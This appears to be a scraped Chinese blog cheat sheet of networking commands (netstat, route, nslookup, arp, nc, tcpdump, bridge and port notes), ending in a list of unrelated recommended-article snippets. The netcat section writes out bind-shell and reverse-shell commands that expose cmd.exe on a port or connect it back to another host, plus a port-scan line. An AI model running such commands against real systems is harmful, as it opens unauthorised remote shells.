网络操作相关命令

2023-11-08

netstat

-r 显示路由表

-I/i 显示网络接口信息

-s 收发包统计信息

-v 显示详细信息,包括unix socket、连接状态和路径

-e 还能显示user

-p 显示使用它的进程

-l listening

-a 所有的

-n 不解析域名、用户名,直接显示数字

t/u tcp还是udp指定

ping

-c 指定个数

-i 指定时间间隔,按s记

-t 指定ttl

route

route命令用来显示并设置Linux内核中的网络路由表,route命令设置的路由主要是静态路由。直接在命令行下执行route命令来添加路由,不会永久保存,当网卡重启或者机器重启之后,该路由就失效了;可以在/etc/rc.local中添加route命令来保证该路由设置永久有效。参考地址:http://man.linuxde.net/route

-A:设置地址类型;
-C:打印将Linux核心的路由缓存;
-v:详细信息模式;
-n:不执行DNS反向查找,直接显示数字形式的IP地址;
-e:netstat格式显示路由表;
-net:到一个网络的路由表;
-host:到一个主机的路由表。一般用法:route,route -n其中Flags为路由标志,标记当前网络节点的状态,Flags标志说明:
  • U Up表示此路由当前为启动状态。
  • H Host,表示此网关为一主机。
  • G Gateway,表示此网关为一路由器。
  • R Reinstate Route,使用动态路由重新初始化的路由。
  • D Dynamically,此路由是动态性地写入。
  • M Modified,此路由是由路由守护程序或导向器动态修改。
  • ! 表示此路由当前为关闭状态。

traceroute

跟踪ip路由。

nslookup

nslookup命令用于查询DNS的记录,查看域名解析是否正常,在网络故障的时候用来诊断网络问题。

nslookup domain [dns-server]

https://www.cnblogs.com/earl86/archive/2009/02/06/1666439.html

arp

-a

-s 增加

-d 删除

dig

domain 查看域名解析过程

nc

nc -vv ip port

反弹:nc -l -n 1234 -t -e cmd.exe

nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口

nc -l -p 80 开启本机的TCP 80端口并监听

nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口(超时时间为2s,-z连接成功后立即关闭 )

nc -l -p 5354 -t -e c:windows\system32\cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口

nc -t -e c:windows\system32\cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口

tcpdump

-D 查看可以抓包的网络接口

-i 指定网络接口

-c 指定数据包个数

-w 将抓到的数据写入文件中

-r 读取文件

-nn 不进行域名解析,直接显示数字

指定协议类型:ip,ip6,arp,tcp,udp,wlan,icmp

-A 打印payload的ascii文本

-e 包含mac地址

-s 0 抓取完整数据包

过滤字段:host、src host、dst host、port、src port 、dst port、net

过滤条件连接符:not/and/or

示例:

tcpdump tcp -i eth1 -t -s 0 -c 100 and dst port ! 22 and src net 192.168.1.0/24 -w ./target.cap

tcpdump总的的输出格式为:系统时间 来源主机.端口 > 目标主机.端口 数据包参数

此时间戳的精度与内核时间精度一致, 反映的是内核第一次看到对应数据包的时间

还可以针对数据包传输层标志位进行过滤:https://www.cnblogs.com/ggjucheng/archive/2012/01/14/2322659.html

tcpdump -i eth1 '((tcp) and (port 80) and ((dst host 192.168.1.254) or (dst host 192.168.1.200)))'

tcpdump [ -adeflnNOpqStvx ] [ -c 数量 ] [ -F 文件名 ]

[ -i 网络接口 ] [ -r 文件名] [ -s snaplen ]

[ -T 类型 ] [ -w 文件名 ] [表达式 ]

 

在windows上或Linux上抓包,如果发现抓的包MTU大于1500,需要设置网卡禁用TSO。为了降低 CPU 的负载,提高网络的出口带宽,

TSO 提供一些较大的缓冲区来缓存 TCP 发送的包,然后由网卡负责把缓存的大包拆分成多个小于 MTU 的包。tcpdump 或者 wireshare

抓取的是网卡上层的包,所以我们可能会观察到大小超过 MTU 的包。Linux禁用tso命令为:ethtool -K ethY tso off。

网桥操作

brctl addbr/delbr br0

brctl addif/delif br0 eth0

ip link set virbr0 up/down 必须down之后才能删除网桥 或者ifup ifdown

brctl setageing br0 0 把所有的网桥都设置这个参数(网桥成hub了),不然网桥接收数据包数量级会少一个单位,200Mbps未丢包

网络端口

0 - 1023: 常用端口和系统端口

1024 - 49151: 软件的注册端口

49152 - 65535: 动态端口或私有端口

其他操作

ss -lntu统计端口信息

sar-n DEV

tcpudump -D

ifstat

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

网络操作相关命令 的相关文章

随机推荐

  • PBR Step by Step(二)辐射度

    PBR Step by Step 二 辐射度 https zhuanlan zhihu com p 21376124 转载请注明出处 http www cnblogs com jerrycg p 4929119 html 基于物理的渲染要尽
  • 详解Boost电路的基本原理

    Boost电路是一种开关直流升压电路 它能够使输出电压高于输入电压 在电子电路设计当中算是一种较为常见的电路设计方式 本篇文章针对新手 将为大家介绍Boost升压电路的工作原理 首先我们需要知道 电容阻碍电压变化 通高频 阻低频 通交流 阻
  • Unity 关卡跳转——开始界面切换到游戏场景的实现

    1 在已有关卡的基础上 另外新建一个关卡 将其命名为start并进行保存 2 在新建立的start关卡中创建TitleScreen cs脚本 代码如下 using System Collections using System Collec
  • ubuntu装指定分区_Ubuntu安装时怎样分区

    1 swap交换分区 一般为你机器内存的两倍 少于这个容量 系统无法进入休眠 实质是硬盘上的交换空间而非分区 所以没有格式 默认休眠将数据储存于此 能够取消 如不用swap必须再设定方可休眠 多数有1GB内存的桌面用户仅仅要1 5GB sw
  • Spring Boot 项目介绍

    Spring Boot 源码学习系列 Spring Boot 项目介绍 引言 项目介绍 1 设计理念 2 设计目标 3 源代码的目录结构 4 整体架构 总结 参考 引言 作为学习过 Java 的软件开发者 相信都知道 Spring 这一伟大
  • Linux基本命令的使用和服务器的部署

    1 云服务器的部署 以腾讯云为例 下载终端工具 Xshell 2 Linux常见命令 1 ls 2 pwd 3 cd 4 clear 清屏 5 touch 6 cat 查看文件内容 7 mkdir 创建目录 8 rm 删除文件 目录 9 c
  • TIMESAT提取物候信息操作流程

    TIMESAT提取物候信息操作流程 软件环境 Matlab R2014a TIMESAT3 2 数据介绍 MODIS A3或Q1的NVI NDVI 均测试过这个流程 可行 大拇指 TIMESAT输入n年数据 提取n 1年的物候参数 通常用三
  • MTK/联发科MT6877 5G智能手机应用处理器功能规格书/datasheet

    MT6877 设备 见图 1 1 具有集成的蓝牙 FM WLAN 和 GPS 模块 是一个高度集成的基带平台 结合了调制解调器和应用处理子系统 以支持 LTE 5G NR 和 C2K 智能手机应用 该芯片集成了两个运行频率高达 2 4 GH
  • 图像搜索引擎1

    图像搜索引擎1 使用Python颜色直方图在数据集中搜索视觉上相似的图像 这篇博客将介绍如何从头到尾创建图像搜索引擎 第一步是选择一个图像描述符 使用3D RGB直方图来表征图像的颜色 然后通过提取特征向量 即直方图 使用描述符对数据集中的
  • MATLAB学习笔记_Day10_摘要、问题假设、灵敏度分析

    学习视频 零基础教程 老哥 数学建模算法 编程 写作和获奖指南全流程培训 文章目录 1 摘要的重要性 摘要分析 2 假设的重要性 举例 3 灵敏度分析 灵敏度分析及适用参数类型 举例分析 敏感性分析总结 1 摘要的重要性 摘要分析 2 假设
  • android 调用另一个activity 简单做法

    懒了一下午 终于用不到一个小时的时间 实现了一个activity调用另一个activity 的宏远 哈哈哈哈 本做法纯属我这菜鸟的入门 本小教程不提供新建activity 的办法哈 百度一大把的 目的 我想在主窗口中调用另一个activit
  • PowerDesigner 反向工程,生成ER图

    建立好一个完整的oracle数据库之后 昨天老师让我用PL SQL Developer导出表结构的PDM文件 显示该数据库的ER图 仔细研究了一个晚上 决定放弃使用PL SQL Developer生成Oracle的ER图 捣弄了好久都没找到
  • yaml 数组_【大强哥-k8s从入门到放弃04】Yaml语法解析

    依然小福利 Python 零基础入门 2020感谢走进我的生命 Python 已更新至206集 哔哩哔哩 干杯 bilibili www bilibili com 一 K8S名称空间 嗯 名称空间是个小插曲 yaml在下面 1 Yaml文件
  • OpenCV图像腐蚀膨胀算法的Python模拟实现

    前往老猿Python博客 https blog csdn net LaoYuanPython 一 引言 在 OpenCV Python图像矩阵不扩充边界腐蚀膨胀函数处理算法探究 https blog csdn net LaoYuanPyth
  • c++模板之萃取

    假如 我们要设计一个 Copy的模板函数 我们为了提高效率采用memcpy 可以这样写 template
  • linux_常用命令

    一 日常使用命令 常用快捷键命令 开关机命令 1 shutdown h now 立刻进行关机 2 shutdown r now 现在重新启动计算机 3 reboot 现在重新启动计算机 4 su 切换用户 passwd 修改用户密码 5 l
  • C++ template高级

    1 Template 高级属性 1 1 可变参数 CTemplatetest cpp 定义控制台应用程序的入口点 include stdafx h include
  • 调整计算机硬盘大小,固态硬盘分区如何合并 自己调整磁盘大小真的很实用

    1 首先在桌面找到 计算机 右键单击 在快捷菜单栏中选择 管理 弹出计算机管理窗口 2 在计算机管理窗口中选择 储存 磁盘管理 在右边就会显示你的分区情况了 3 我们选择一个空间比较大的盘符进行分割 举个例子 我们盘有40G是空余 我们要分
  • 使用 LangChain 和 DeepInfra 构建用于支持客户的聊天机器人

    您可能在日常在线互动中遇到过聊天机器人 但您是否考虑过为这些数字助手提供支持的技术 聊天机器人 特别是在客户支持领域 已成为现代企业的重要组成部分 可以在提高效率的同时增强客户服务 今天 我们将深入探讨LangChain和DeepInfra
  • 网络操作相关命令

    netstat r 显示路由表 I i 显示网络接口信息 s 收发包统计信息 v 显示详细信息 包括unix socket 连接状态和路径 e 还能显示user p 显示使用它的进程 l listening a 所有的 n 不解析域名 用户